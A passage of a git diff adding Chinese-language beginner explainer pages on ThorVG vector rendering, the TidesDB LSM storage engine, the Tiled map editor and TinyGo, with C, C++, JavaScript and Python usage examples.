+    auto rect = tvg::Shape::gen();
+    rect->appendRect(50, 50, 200, 200, 20, 20);
+    rect->fill(100, 100, 100);
+    canvas->add(rect);
+
+    auto circle = tvg::Shape::gen();
+    circle->appendCircle(400, 400, 100, 100);
+
+    auto fill = tvg::RadialGradient::gen();
+    fill->radial(400, 400, 150, 400, 400, 0);
+    tvg::Fill::ColorStop stops[2] = {
+        {0.0f, 255, 255, 255, 255},
+        {1.0f, 0, 0, 0, 255},
+    };
+    fill->colorStops(stops, 2);
+    circle->fill(fill);
+    canvas->add(circle);
+
+    canvas->draw();
+    canvas->sync();
+    // 此处 buffer 中已是 ARGB 像素，可 blit 到窗口或写 PNG
+
+    tvg::Initializer::term();
+    return 0;
+}
+```
+
+**要点**：`appendRect` 最后两个参数是圆角半径；渐变用 `ColorStop` 数组描述色标；`draw` 不阻塞，`sync` 等待 GPU/线程池完成。
+
+自定义星形路径 + 虚线描边：
+
+```cpp
+auto path = tvg::Shape::gen();
+path->moveTo(199, 34);
+path->lineTo(253, 143);
+path->lineTo(374, 160);
+path->lineTo(287, 244);
+path->lineTo(307, 365);
+path->lineTo(199, 309);
+path->lineTo(97, 365);
+path->lineTo(112, 245);
+path->lineTo(26, 161);
+path->lineTo(146, 143);
+path->close();
+path->fill(150, 150, 255);
+path->strokeWidth(3);
+path->strokeFill(0, 0, 255);
+path->strokeJoin(tvg::StrokeJoin::Round);
+path->strokeCap(tvg::StrokeCap::Round);
+float dash[2] = {10, 10};
+path->strokeDash(dash, 2);
+canvas->add(path);
+```
+
+### 案例 2：Lottie 动画循环
+
+```cpp
+#include <thorvg.h>
+#include <cmath>
+
+static uint32_t buffer[800 * 600];
+
+void renderFrame(tvg::Canvas* canvas, tvg::Animation* anim, float progress) {
+    anim->frame(static_cast<uint32_t>(anim->totalFrame() * progress));
+    canvas->update(anim->picture());
+    canvas->draw();
+    canvas->sync();
+}
+
+int main() {
+    tvg::Initializer::init(4);
+
+    auto canvas = tvg::SwCanvas::gen();
+    canvas->target(buffer, 800, 800, 600, tvg::ColorSpace::ARGB8888);
+
+    auto animation = tvg::Animation::gen();
+    auto picture = animation->picture();
+    picture->load("lottie.json");
+    canvas->add(picture);
+
+    const float duration = animation->duration(); // 秒
+    for (int frame = 0; frame < 300; ++frame) {
+        float t = fmodf(frame / 60.0f, duration) / duration; // 假设 60fps
+        renderFrame(canvas, animation, t);
+        // 将 buffer 呈现到屏幕...
+        canvas->remove(picture);
+        canvas->add(picture);
+    }
+
+    tvg::Initializer::term();
+    return 0;
+}
+```
+
+**要点**：一个 `Animation` 实例对应一个 `Picture`；`progress` 取 0~1 映射到 `totalFrame()`；每帧改帧号后必须 `canvas->update(picture)` 再 draw。交互式应用里用 `animation->duration()` 驱动自己的主循环即可，不必依赖 AE 时间轴。
+
+加载静态 SVG 只需 Picture 一行：
+
+```cpp
+auto picture = tvg::Picture::gen();
+picture->load("icon.svg");
+canvas->add(picture);
+```
+
+### 案例 3：Scene 组合与变换
+
+多个图标作为一组移动/缩放时，用 `Scene` 包一层：
+
+```cpp
+auto scene = tvg::Scene::gen();
+auto icon = tvg::Picture::gen();
+icon->load("badge.svg");
+scene->add(icon);
+scene->translate(120, 40);
+scene->scale(1.5f);
+canvas->add(scene);
+```
+
+子节点可以是 Shape、Picture 或嵌套 Scene，形成树状场景图——与游戏引擎的节点层级类似。
+
+## 与相关项目的关系
+
+| 项目 | 关系 |
+|------|------|
+| [lottie-web](lottie.md) | 同吃 Lottie JSON；ThorVG 偏原生/嵌入式引擎，lottie-web 偏浏览器 |
+| [Rive](rive.md) | 都服务交互 UI 动画；Rive 用 `.riv` + 状态机，ThorVG 主攻 SVG/Lottie 开放格式 |
+| [LVGL](https://lvgl.io/) | 可选 ThorVG 作为矢量/Lottie 后端 |
+| Skia | 桌面级 2D 引擎，体积与依赖更大；ThorVG 强调轻量与 MCU 友好 |
+
+## 选型与踩坑
+
+1. **合成开销**：模糊、遮罩、复杂 blend 会触发离屏 buffer；轻量设备上尽量简化特效层级  
+2. **Lottie 表达式**：默认开启 JerryScript，复杂 AE 表达式增加 CPU 与体积；嵌入式可关闭  
+3. **SVG 能力边界**：按 SVG Tiny，无动画与交互；复杂 SVG 需先简化或用 Lottie 导出  
+4. **异步渲染**：忘记 `sync()` 会出现撕裂或读到半帧 buffer  
+5. **Web 集成**：除 C++ 嵌入外，可直接评估 `@thorvg/lottie-player` 等现成 Web 组件，减少自己绑 WASM 的成本  
+
+## 小结
+
+ThorVG 把「矢量场景描述」和「像素 buffer 输出」封装成一套稳定的 C++ API：**Paint 场景图 + Canvas 光栅化 + 可裁剪的 Loader**。零基础路径：Meson 编库 → `Initializer::init` → `SwCanvas::target` → 画 Shape 或 load Lottie → `draw/sync`。掌握 init、canvas、picture、animation、sync 五条主线，就能在嵌入式 splash、HMI、移动端 Lottie 与 WebGPU 矢量管线之间复用同一引擎认知。
diff --git a/src/content/docs/projects/tidesdb.md b/src/content/docs/projects/tidesdb.md
new file mode 100644
index 000000000..5bd33a3d6
--- /dev/null
+++ b/src/content/docs/projects/tidesdb.md
@@ -0,0 +1,229 @@
+---
+title: TidesDB — C 语言 LSM 存储引擎
+来源: https://github.com/tidesdb/tidesdb
+日期: 2026-06-13
+分类: 数据库
+子分类: databases-storage
+provenance: pipeline-v3
+---
+
+# TidesDB — C 语言 LSM 存储引擎
+
+## 一、从日常类比开始
+
+想象你在整理一个巨大的书架，每天都要往里添新书、翻找旧书。
+
+传统数据库（比如 MySQL 的 InnoDB）的做法是：每收到一本书，直接找到它在书架上该放的位置，把书插进去。如果书架已经满了，就得把后面好多本书挪位置——这非常慢。
+
+TidesDB 的做法完全不同：**它不马上把书放回书架**。而是先在你的办公桌上（内存）堆着，等堆满一摞，再一次性把这一摞书排好序，放到书架的最顶层。之后，会有个清洁工（后台线程）定期把几摞书合并成一摞更大的，放到下一层。
+
+这个"先堆在桌上，再分批放书架"的思路，就是 **LSM-Tree（Log-Structured Merge-Tree）** 的核心思想。
+
+TidesDB 就是一个用 C 语言实现的 LSM-Tree 存储引擎，只有 ~6 万行代码，但功能非常完整——支持事务、压缩、缓存、自动合并，还能跑在 Linux、macOS、Windows 上。
+
+## 二、核心概念
+
+### 1. Column Family（列族）
+
+列族是 TidesDB 里的一个独立 KV 命名空间。你可以把它理解为一个独立的"书架"，每个列族有自己的配置（压缩方式、缓存大小等），互不干扰。
+
+### 2. Memtable（内存表）
+
+Memtable 就是上面的"办公桌"。所有写入操作先放在这里——具体来说是一个叫 skip list（跳表）的内存数据结构。它有序、可快速查找。当 memtable 达到一定大小（默认 64MB），它就被冻结，交给后台线程写到磁盘。
+
+### 3. SSTable（Sorted String Table）
+
+SSTable 就是放到书架上的那一排排"排好序的书"。一旦写入磁盘，就**永远不会被修改**，只能被读取或者被后台合并掉。这种不可变性让并发读取不需要加锁。
+
+### 4. WAL（Write-Ahead Log，预写日志）
+
+在数据进入 memtable 之前，TidesDB 会先把写入操作记录到一个日志文件里。这是为了防止电脑突然断电——重启后从 WAL 恢复数据，保证不会丢失。
+
+### 5. Compaction（合并/压缩）
+
+随着写入越来越多，磁盘上会有成千上万个 SSTable。Compaction 就是后台线程把这些小文件合并成大文件的过程，同时丢掉已经被删除的旧数据，释放空间。
+
+### 6. Bloom Filter（布隆过滤器）
+
+这是一个"概率型小册子"。它体积很小，但能快速告诉你：**某个 key 一定不在某个 SSTable 里**。这样读数据时就能跳过大量不必要的磁盘读取。
+
+## 三、数据的一生
+
+一条数据在 TidesDB 里的完整生命周期：
+
+```
+写入 → WAL 日志 → Memtable（内存跳表）
+            ↓
+     内存满了 → 冻结成 SSTable → 放到 Level 1
+            ↓
+     后台合并 → Level 1 → Level 2 → ... → Level N（最深）
+            ↓
+     被读取时：从 Memtable 开始找，逐层往下，找到就停
+```
+
+## 四、代码示例
+
+### 示例一：初始化数据库、创建列族、写入读取
+
+```c
+#include <tidesdb/tidesdb.h>
+#include <stdio.h>
+
+int main() {
+    // 1. 初始化 TidesDB（使用系统默认内存分配器）
+    tidesdb_init(NULL, NULL, NULL, NULL);
+
+    // 2. 配置数据库路径和线程数
+    tidesdb_config_t config = {
+        .db_path = "./my_database",
+        .num_flush_threads = 2,
+        .num_compaction_threads = 2,
+        .log_level = TDB_LOG_INFO
+    };
+
+    // 3. 打开（或创建）数据库
+    tidesdb_t *db = NULL;
+    if (tidesdb_open(&config, &db) != 0) {
+        fprintf(stderr, "无法打开数据库\n");
+        return -1;
+    }
+
+    // 4. 创建一个列族
+    tidesdb_column_family_config_t cf_config = tidesdb_default_column_family_config();
+    if (tidesdb_create_column_family(db, "users", &cf_config) != 0) {
+        fprintf(stderr, "创建列族失败\n");
+        return -1;
+    }
+
+    // 5. 获取列族引用
+    tidesdb_column_family_t *cf = tidesdb_get_column_family(db, "users");
+
+    // 6. 写入一个 key-value
+    const char *key = "alice";
+    const char *value = "Alice Smith, Age 30";
+    if (tidesdb_put(db, cf, (const uint8_t *)key, strlen(key),
+                    (const uint8_t *)value, strlen(value), -1) != TDB_SUCCESS) {
+        fprintf(stderr, "写入失败\n");
+    } else {
+        printf("写入成功: %s\n", key);
+    }
+
+    // 7. 读取一个 key
+    uint8_t *read_value = NULL;
+    size_t read_value_len = 0;
+    if (tidesdb_get(db, cf, (const uint8_t *)key, strlen(key),
+                    &read_value, &read_value_len) == TDB_SUCCESS) {
+        printf("读取成功: %.20s...\n", read_value);
+        // 用完记得释放
+        tidesdb_free(read_value);
+    } else {
+        printf("未找到 key: %s\n", key);
+    }
+
+    // 8. 关闭数据库并清理
+    tidesdb_close(db);
+    tidesdb_finalize();
+    return 0;
+}
+```
+
+### 示例二：使用事务 + 布隆过滤器 + 压缩
+
+```c
+#include <tidesdb/tidesdb.h>
+#include <stdio.h>
+
+int main() {
+    tidesdb_init(NULL, NULL, NULL, NULL);
+
+    tidesdb_config_t config = {
+        .db_path = "./transaction_db",
+        .num_flush_threads = 2,
+        .num_compaction_threads = 2,
+        .log_level = TDB_LOG_WARN
+    };
+
+    tidesdb_t *db = NULL;
+    if (tidesdb_open(&config, &db) != 0) {
+        return -1;
+    }
+
+    // 创建带布隆过滤器和 LZ4 压缩的列族
+    tidesdb_column_family_config_t cf_config = tidesdb_default_column_family_config();
+    cf_config.enable_bloom_filter = 1;       // 开启布隆过滤器
+    cf_config.bloom_fpr = 0.01;              // 1% 误判率
+    cf_config.compression_algorithm = TDB_COMPRESS_LZ4;  // LZ4 快速压缩
+    cf_config.write_buffer_size = 128 * 1024 * 1024;     // 128MB
+
+    if (tidesdb_create_column_family(db, "orders", &cf_config) != 0) {
+        return -1;
+    }
+
+    tidesdb_column_family_t *cf = tidesdb_get_column_family(db, "orders");
+
+    // 开启一个事务
+    tidesdb_txn_t *txn = NULL;
+    if (tidesdb_txn_init(db, &txn, TDB_ISOLATION_READ_COMMITTED) != TDB_SUCCESS) {
+        fprintf(stderr, "事务初始化失败\n");
+        return -1;
+    }
+
+    // 在事务中写入多条数据
+    tidesdb_txn_op_t ops[3] = {0};
+
+    ops[0].op = TDB_OP_PUT;
+    ops[0].key = (uint8_t *)"order_001";
+    ops[0].key_size = 7;
+    ops[0].value = (uint8_t *)"{'item': 'laptop', 'qty': 1}";
+    ops[0].value_size = 29;
+
+    ops[1].op = TDB_OP_PUT;
+    ops[1].key = (uint8_t *)"order_002";
+    ops[1].key_size = 7;
+    ops[1].value = (uint8_t *)"{'item': 'phone', 'qty': 2}";
+    ops[1].value_size = 27;
+
+    ops[2].op = TDB_OP_PUT;
+    ops[2].key = (uint8_t *)"order_003";
+    ops[2].key_size = 7;
+    ops[2].value = (uint8_t *)"{'item': 'tablet', 'qty': 1}";
+    ops[2].value_size = 29;
+
+    // 提交事务——要么全部写入，要么全部失败
+    if (tidesdb_txn_commit(db, cf, txn, ops, 3) != TDB_SUCCESS) {
+        fprintf(stderr, "事务提交失败\n");
+        tidesdb_txn_free(txn);
+        return -1;
+    }
+
+    printf("事务成功：3 条订单已写入\n");
+
+    // 读取验证
+    uint8_t *val = NULL;
+    size_t val_len = 0;
+    if (tidesdb_get(db, cf, (uint8_t *)"order_002", 7, &val, &val_len) == TDB_SUCCESS) {
+        printf("订单 2: %.20s...\n", val);
+        tidesdb_free(val);
+    }
+
+    tidesdb_close(db);
+    tidesdb_finalize();
+    return 0;
+}
+```
+
+## 五、TidesDB 的其他亮点
+
+- **ACID 事务**：支持 5 种隔离级别（从读未提交到可序列化），包括防写偏斜的 SSI 机制
+- **自动崩溃恢复**：重启时从 WAL 自动恢复内存表
+- **TTL（过期时间）**：可以给 key 设置过期时间，自动清理
+- **多种压缩算法**：LZ4、Zstd、Snappy，按列族配置
+- **两级缓存**：文件句柄缓存 + NUMA 感知的块缓存
+- **对象存储模式**：可以把数据存到 S3，配合本地缓存，实现无限扩展
+- **完全可移植**：一行 C 代码，跨 Linux/macOS/Windows/ARM/RISC-V
+
+## 六、总结
+
+TidesDB 的核心就一句话：**用内存写换取磁盘读**。写入非常快（顺序写内存），读取稍慢但布隆过滤器和块索引让它仍然很快。后台的合并线程在"安静"时工作，把数据整理得整整齐齐。
+
+作为一个 ~6 万行 C 代码的存储引擎，它是理解现代数据库底层工作原理的一个绝佳起点。RocksDB、LevelDB 都是同一个 LSM-Tree 家族——TidesDB 的设计思路和它们一脉相承，但代码更现代、更模块化。
diff --git a/src/content/docs/projects/tiled.md b/src/content/docs/projects/tiled.md
new file mode 100644
index 000000000..ad1130391
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@@ -0,0 +1,276 @@
+---
+title: Tiled Map Editor — 通用 2D 关卡编辑
+来源: 'https://github.com/mapeditor/tiled'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 日常类比：Tiled 是「游戏关卡的 Photoshop + 建筑蓝图」
+
+你玩平台跳跃或 RPG 时，草地、砖块、水面、宝箱、出生点，看起来是程序员一行行写出来的——实际上多半是**美术或关卡设计师在格子上「刷」出来的**。Tiled 就是那间专门刷关卡的工坊。
+
+日常类比可以这样理解：
+
+- **瓦片（Tile）** → 乐高底板上的单块砖，32×32 或 16×16 一格，重复拼出大地图  
+- **图块集（Tileset）** → 一整张「砖块色卡」PNG，切成很多小格，供你选用  
+- **图层（Layer）** → 透明胶片叠在一起：底层铺地形，中层放装饰，上层放碰撞或前景  
+- **对象层（Object Layer）** → 贴在蓝图上的便利贴：「玩家从这里出生」「这道门通向 B 关」「这块区域触发对话」——不必对齐格子，可旋转、缩放  
+- **TMX 文件** → 导出的「关卡说明书」，游戏引擎读它就知道画什么、放什么
+
+Tiled 由 Thorbjørn Lindeijer 从 2008 年起维护，[mapeditor/tiled](https://github.com/mapeditor/tiled) 在 GitHub 上开源（GPL/商业双许可），被 Phaser、Godot、Unity、LÖVE、Flame、libGDX 等大量引擎直接支持。它的价值不在「再发明一个地图格式」，而在于：**把关卡制作从程序员手里还给设计师**，并且用开放、可扩展的 TMX/TSX 格式把数据和引擎解耦。
+
+| 维度 | 说明 |
+|---|---|
+| 官网 / 文档 | [mapeditor.org](https://www.mapeditor.org/) · [doc.mapeditor.org](https://doc.mapeditor.org/) |
+| 协议 | GPL v2（编辑器）；地图数据 TMX 无版权限制 |
+| 平台 | Windows、macOS、Linux |
+| 输出 | `.tmx`（地图）、`.tsx`（图块集）、JSON 导出、各引擎插件 |
+| 典型用户 | 独立开发者、2D 手游、Roguelike、塔防、教育类小游戏 |
+
+---
+
+## 解决什么问题
+
+手写二维数组 `level[y][x] = 3` 在 10×10 演示里还行；一旦地图变成 200×100、要分前景/背景/碰撞、还要标出生点和机关，**改一个草地方块就要在代码里找坐标**——既慢又容易和美术不同步。
+
+Tiled 解决的是 **2D 关卡内容生产流水线**：
+
+1. **可视化编辑**：笔刷、填充、地形笔刷（Terrain Brush）、图章（Stamp）批量铺砖  
+2. **分层组织**：地形、装饰、碰撞、对象分图层，渲染顺序即图层顺序  
+3. **语义标注**：瓦片、图层、对象都可挂自定义属性（`collides: true`、`hp: 50`）  
+4. **引擎无关**：导出 TMX/JSON，运行时由 Phaser、Godot 等加载，关卡迭代不必重新编译游戏
+
+一句话：**Tiled 画地图，引擎跑逻辑**——和用 Figma 画界面、用 React 写交互是同一分工。
+
+---
+
+## 核心概念
+
+### 1. 地图（Map）与方向（Orientation）
+
+一张地图有尺寸（宽×高，单位是**格数**）、瓦片大小（如 32×32 像素）、以及**投影方向**：
+
+| 方向 | 典型游戏 |
+|---|---|
+| Orthogonal（正交） | 大多数平台跳跃、RPG、塔防 |
+| Isometric（等距） | 模拟经营、部分 RPG |
+| Hexagonal（六边形） | 战棋、文明类 |
+| Staggered Isometric / Hex | 交错排列的等距或六边形 |
+
+新建地图时可选「无限地图」（Infinite），适合大型开放世界式横向卷轴；小关卡用固定尺寸即可。这些选项之后都可改，第一次不必纠结完美。
+
+### 2. 图块集（Tileset）与全局 ID（GID）
+
+图块集可以是一张**大图**（image collection）或多张**散图**。每个瓦片在图块集中有本地 ID；在整张地图里则使用**全局 ID（GID）**。
+
+重要约定（TMX 格式）：
+
+- **GID = 0** 表示「这一格没有瓦片」  
+- 多个图块集时，第二个图块集的 ID 接在第一个后面（例如两套各 8 块：1–8 与 9–16）  
+- GID 高位可能编码翻转标志（水平/垂直/对角翻转），引擎加载时会解码
+
+建议：**图块集存成独立 `.tsx` 文件**，不要嵌进每张地图——碰撞形状、地形规则、动画帧可在图块集里维护一次，所有地图共享。
+
+### 3. 图层类型
+
+Tiled 支持四类图层（可嵌套在 Group Layer 里当文件夹用）：
+
+| 类型 | 作用 |
+|---|---|
+| **Tile Layer** | 二维瓦片阵列，适合大面积重复地形 |
+| **Object Layer** | 矩形、椭圆、点、折线、多边形、瓦片对象；可脱离网格放置 |
+| **Image Layer** | 单张前景/背景图，功能较简单 |
+| **Group Layer** | 组织图层树，可整体偏移、调透明度 |
+
+对象层里的 **Class**（旧版 UI 叫 Type）可定义类型名和显示颜色；**对象引用属性**（`type: object`）能在编辑器里画箭头连接「开关 → 门」，方便关卡逻辑编排。
+
+### 4. 属性（Properties）与碰撞
+
+几乎所有元素都能挂 **key/value 属性**，类型包括 string、int、float、bool、color、file、object 等。常见用法：
+
+- 在瓦片上设 `collides: true`，运行时按属性生成碰撞体  
+- 在对象上设 `script: open_chest.lua`  
+- 在地图级设 `music: forest_theme.ogg`
+
+**Tile Collision Editor** 可为单个瓦片绘制碰撞多边形，比「用一整格矩形」更精细（例如斜坡、半格平台）。
+
+### 5. 地形笔刷（Terrain）与动画
+
+**Terrain Brush**（由早期 Wang 瓦片演化而来）让相邻草地/泥土/水面自动选过渡块，大幅减少手动画边界。  
+**Tile Animation** 可在图块集里为帧序列设帧时长，Tiled 预览循环播放；引擎需自行实现动画 tick。
+
+### 6. 导出与引擎集成
+
+- 原生 **TMX / TSX**（XML）可读性高，适合自研解析或 CI  
+- **File → Export As** 可出 JSON，Phaser 等直接 `load.tilemapTiledJSON`  
+- Godot 4：`TileMapLayer` 可直接导入 `.tmx`  
+- 插件系统支持 JavaScript 扩展导出格式（如 GameMaker `.yy`）
+
+---
+
+## 代码示例
+
+### 示例 1：Phaser 3 加载 Tiled 导出的 JSON 地图
+
+在 Tiled 中画好地图后，用 **File → Export As → JSON** 得到 `level1.json`，并保证图块集 PNG 路径正确。Phaser 侧：
+
+```js
+import Phaser from 'phaser';
+
+const config = {
+  type: Phaser.AUTO,
+  width: 800,
+  height: 600,
+  physics: { default: 'arcade', arcade: { gravity: { y: 400 } } },
+  scene: { preload, create },
+};
+
+new Phaser.Game(config);
+
+function preload() {
+  this.load.image('tiles', 'assets/tilesets/platformer.png');
+  this.load.tilemapTiledJSON('map', 'assets/maps/level1.json');
+  this.load.spritesheet('player', 'assets/player.png', {
+    frameWidth: 32,
+    frameHeight: 32,
+  });
+}
+
+function create() {
+  const map = this.make.tilemap({ key: 'map' });
+  const tileset = map.addTilesetImage('platformer', 'tiles');
+  const groundLayer = map.createLayer('Ground', tileset, 0, 0);
+  const decorLayer = map.createLayer('Decor', tileset, 0, 0);
+
+  // 在 Tiled 里给瓦片加了自定义属性 collides=true 的，批量开启碰撞
+  groundLayer.setCollisionByProperty({ collides: true });
+
+  this.player = this.physics.add.sprite(64, 64, 'player');
+  this.physics.add.collider(this.player, groundLayer);
+
+  // 读取对象层里的出生点（Tiled 里对象名 spawn）
+  const spawn = map.findObject('Objects', (obj) => obj.name === 'spawn');
+  if (spawn) {
+    this.player.setPosition(spawn.x, spawn.y);
+  }
+
+  decorLayer.setDepth(1);
+  this.cameras.main.setBounds(0, 0, map.widthInPixels, map.heightInPixels);
+  this.cameras.main.startFollow(this.player);
+}
+```
+
+要点：`createLayer` 的图层名必须与 Tiled 里 **完全一致**；`setCollisionByProperty` 依赖你在图块或瓦片上预先设好的属性，而不是在代码里硬编码瓦片编号。
+
+### 示例 2：用 Python 解析 TMX 提取碰撞格（无引擎依赖）
+
+适合自研引擎、工具链或服务器校验关卡。TMX 是 XML，可用标准库读取：
+
+```python
+#!/usr/bin/env python3
+"""从 TMX 提取带 collides 属性的瓦片坐标，输出为简单 JSON。"""
+
+import json
+import xml.etree.ElementTree as ET
+from pathlib import Path
+
+def parse_tmx_collision(tmx_path: str) -> list[dict]:
+    root = ET.parse(tmx_path).getroot()
+    tile_collides: dict[int, bool] = {}
+
+    # 1. 读图块集里「按瓦片 ID」定义的属性
+    for ts in root.findall('tileset'):
+        first_gid = int(ts.get('firstgid', 1))
+        for tile in ts.findall('tile'):
+            local_id = int(tile.get('id'))
+            gid = first_gid + local_id
+            for prop in tile.findall("properties/property"):
+                if prop.get('name') == 'collides' and prop.get('value') == 'true':
+                    tile_collides[gid] = True
+
+    solids: list[dict] = []
+    # 2. 遍历每个瓦片层
+    for layer in root.findall('layer'):
+        name = layer.get('name', 'layer')
+        data = layer.find('data')
+        if data is None or data.get('encoding') != 'csv':
+            continue
+        width = int(layer.get('width'))
+        gids = [int(x) for x in data.text.split(',') if x.strip()]
+        for index, gid in enumerate(gids):
+            if gid == 0:
+                continue
+            # 去掉 Tiled 翻转标志位（高三位）
+            real_gid = gid & 0x1FFFFFFF
+            if tile_collides.get(real_gid):
+                x = index % width
+                y = index // width
+                solids.append({'layer': name, 'x': x, 'y': y, 'gid': real_gid})
+    return solids
+
+if __name__ == '__main__':
+    path = Path('assets/maps/level1.tmx')
+    result = parse_tmx_collision(path)
+    print(json.dumps(result, indent=2))
+    print(f'# {len(result)} solid cells')
+```
+
+这段脚本体现了 TMX 的核心思路：**渲染数据（GID 网格）与游戏语义（属性）写在同一文件**，工具链可以只提取自己需要的部分。
+
+---
+
+## 推荐工作流（零基础第一次上手）
+
+1. **安装**：[mapeditor.org](https://www.mapeditor.org/) 下载对应平台安装包，或通过包管理器（如 `brew install --cask tiled`）。  
+2. **建工程**：File → New → New Project，把 `maps/`、`tilesets/` 加进 Project 视图。  
+3. **建图块集**：New Tileset → 选 PNG → 设 Tile size（与美术切图一致）→ 保存为 `.tsx`。  
+4. **建地图**：New Map → Orthogonal → 32×32 → 保存 `level1.tmx`。  
+5. **画关卡**：用 Stamp Brush（`B`）从图块集选块涂抹；`R` 矩形选区复制图章；对象层（`O`）放出生点、敌人区域。  
+6. **标属性**：选中瓦片或对象 → 属性面板添加 `collides`、`type` 等。  
+7. **导出 / 联调**：按目标引擎选 TMX 或 JSON，在游戏里加载验证碰撞与图层深度。
+
+快捷键备忘：`Ctrl+Z` 撤销、`B` 笔刷、`E` 橡皮、`F` 填充、`T` 对象层插入瓦片对象、`Ctrl+S` 保存。
+
+---
+
+## 与常见引擎的对应关系
+
+| 引擎 / 框架 | 加载方式 |
+|---|---|
+| **Godot 4** | 导入 `.tmx` 为 TileMapLayer；对象层 → 场景节点需插件或自解析 |
+| **Phaser 3** | `load.tilemapTiledJSON` + `createLayer` |
+| **LÖVE** | 社区库 `STI`（Simple Tiled Implementation）解析 TMX |
+| **Flame** | `flame_tiled` 包的 `TiledComponent` |
+| **Unity** | 官方或第三方 Tiled Importer（如 SuperTiled2Unity） |
+| **libGDX** | `TmxMapLoader` |
+
+引擎各不相同，但都吃同一套概念：**图层名、图块集名、GID、对象名、自定义属性**——在 Tiled 里命名规范比背 API 更重要。
+
+---
+
+## 常见坑与建议
+
+1. **图块集路径**：移动 PNG 后 TMX 里相对路径断裂；用 Project 视图统一管理，提交 Git 时保持目录结构。  
+2. **GID 与翻转位**：自己写解析器时记得 `gid & 0x1FFFFFFF`，否则碰撞格会错位。  
+3. **嵌入 vs 外部图块集**：多地图共享同一套砖，务必用外部 `.tsx`；单张实验图可临时嵌入。  
+4. **对象坐标**：对象层坐标是**像素**，瓦片层是**格**；混用时注意 `y` 轴与引擎是否一致（部分引擎原点在左上）。  
+5. **Class 改名**：Tiled 1.9 起「Type」改叫「Class」，老教程看到 `type` 时对照文档即可。  
+6. **大地图性能**：超大单层瓦片层在弱设备上绘制昂贵；可拆多个 Tile Layer 或按区块导出。
+
+---
+
+## 延伸学习
+
+- 官方手册：[Introduction](https://doc.mapeditor.org/en/stable/manual/introduction/)、[Layers](https://doc.mapeditor.org/en/stable/manual/layers/)、[TMX Format](https://doc.mapeditor.org/en/stable/reference/tmx-map-format/)  
+- 视频：[GamesFromScratch Tiled 系列](https://www.youtube.com/results?search_query=GamesFromScratch+Tiled)  
+- 示例资源：安装目录 `examples/` 下的 `tmw_desert_spacing.png` 等  
+- 与本仓库其他笔记：Phaser / Godot / Flame / LÖVE 条目中的 Tilemap 章节可与本文对照阅读
+
+---
+
+## 小结
+
+Tiled 不是游戏引擎，而是**关卡数据的 IDE**：瓦片负责「长什么样」，图层负责「叠放顺序」，对象与属性负责「玩起来什么意思」。学会 Tiled，等于学会把关卡从代码里剥离成可版本管理、可协作编辑的资产文件——这是 2D 游戏开发里投入产出比最高的技能之一。
diff --git a/src/content/docs/projects/tinygo.md b/src/content/docs/projects/tinygo.md
new file mode 100644
index 000000000..3cfa2d535
--- /dev/null
+++ b/src/content/docs/projects/tinygo.md
@@ -0,0 +1,304 @@
+---
+title: TinyGo — 把 Go 编译进微控制器和 WebAssembly 的「袖珍版编译器」
+来源: 'https://github.com/tinygo-org/tinygo'
+日期: '2026-06-13'
+子分类: 语言运行时
+分类: 编译器
+难度: '高级'
+provenance: 'pipeline-v3'
+---
+
+## 是什么
+
+**TinyGo** 是 [tinygo-org/tinygo](https://github.com/tinygo-org/tinygo) 维护的一套 Go 编译器，专门把 Go 程序编译到**资源极度受限**的环境：微控制器（MCU）、WebAssembly（浏览器 / WASI 边缘运行时）、以及体积敏感的命令行工具。它不是标准 Go 工具链 `gc` 的替代品，而是面向「小地方」的平行路线。
+
+日常类比：**旅行箱 vs 登山包**。
+
+标准 Go 编译器像一套功能齐全的旅行箱——自带完整调度器、庞大运行时、多核并行优化，适合服务器和桌面。但你要去登山（一块只有 32KB RAM、256KB Flash 的 STM32 芯片），拖着旅行箱根本爬不上去。TinyGo 就是专门设计的登山包：同样装的是 Go 语言（语法、类型系统、大部分标准库），但把箱子的轮子、拉杆、扩展层都拆掉，只留徒步必需品，再用 LLVM 这把瑞士军刀把剩余部分压到最小体积。
+
+和 [[zephyr]] 这种「嵌入式操作系统」不同，TinyGo 走的是**语言层路线**：你写的是 Go，编译器负责生成能在裸机或轻量 RTOS 上跑的固件，不必先学 C 和 Kconfig。和 [[wasmtime]] 这种「运行时」的关系则是上下游：TinyGo 产出 `.wasm` 字节码，Wasmtime / wazero / 浏览器负责执行。
+
+## 解决什么问题
+
+标准 Go（`go build` + `gc` 编译器）在「小地方」有三类硬障碍：
+
+| 痛点 | 标准 Go 的表现 | TinyGo 的回应 |
+| --- | --- | --- |
+| 二进制体积 | 最小 `hello world` 往往数 MB 级（含完整运行时） | 通过 LLVM 优化 + 裁剪运行时，固件可压到数十 KB |
+| RAM 占用 | goroutine 默认独立栈（初始约 2KB），调度器常驻 | 可选 `scheduler=none` 完全去掉协程；或协作式 tasks/asyncify 调度 |
+| 目标平台 | 主要面向 Linux / macOS / Windows / 少量 OS | 支持 150+ 开发板（BBC micro:bit、Arduino、RP2040、nRF52 等）及 WASM/WASI |
+
+TinyGo 要回答的核心问题是：**能否在保持 Go 语法和内存模型（含 GC）的前提下，让同一份语言跑在灯泡芯片和浏览器沙箱里？**
+
+它的设计目标（来自官方 README）写得很直白：
+
+- 体积极小——「不为不用的功能付费」
+- 支持常见 MCU 开发板
+- 能编译到 WebAssembly（浏览器 + WASI 边缘）
+- CGO 开销接近普通函数调用
+- 兼容大部分标准库，多数 Go 代码无需修改即可尝试编译
+
+同时它也明确列了**非目标**：不追求海量 goroutine 的调度效率、不保证比 `gc` 更快（虽然 LLVM 优化在数值计算上有时反而更优）、不承诺能编译「任意 Go 项目」——反射、部分 `unsafe` 用法、依赖完整 `syscall` 的包仍可能编不过。
+
+## 核心概念
+
+### 1. LLVM 后端：不是生成 C，而是直接走编译器 IR
+
+标准 Go 编译器 `gc` 自研了一整套中间表示和机器码生成。TinyGo 则选择站在 **LLVM** 肩膀上：
+
+```
+Go 源码 → TinyGo 前端（复用 go/types、go/parser 等）→ LLVM IR → 目标机器码 / WASM
+```
+
+这条路径带来几个实际好处：
+
+- **跨架构统一**：同一份前端逻辑，靠 LLVM 后端覆盖 ARM Cortex-M、AVR、RISC-V、WASM 等，不必为每种 ISA 手写代码生成器
+- **成熟的优化 Pass**：`-opt=z`（默认）走体积优先优化；`-opt=2` 可走性能优先；LLVM 的内联、死代码消除、常量折叠对嵌入式很关键
+- **与 C 生态互操作**：TinyGo 的 CGO 设计目标是无额外调用开销，方便直接调用厂商 HAL / CMSIS 库
+
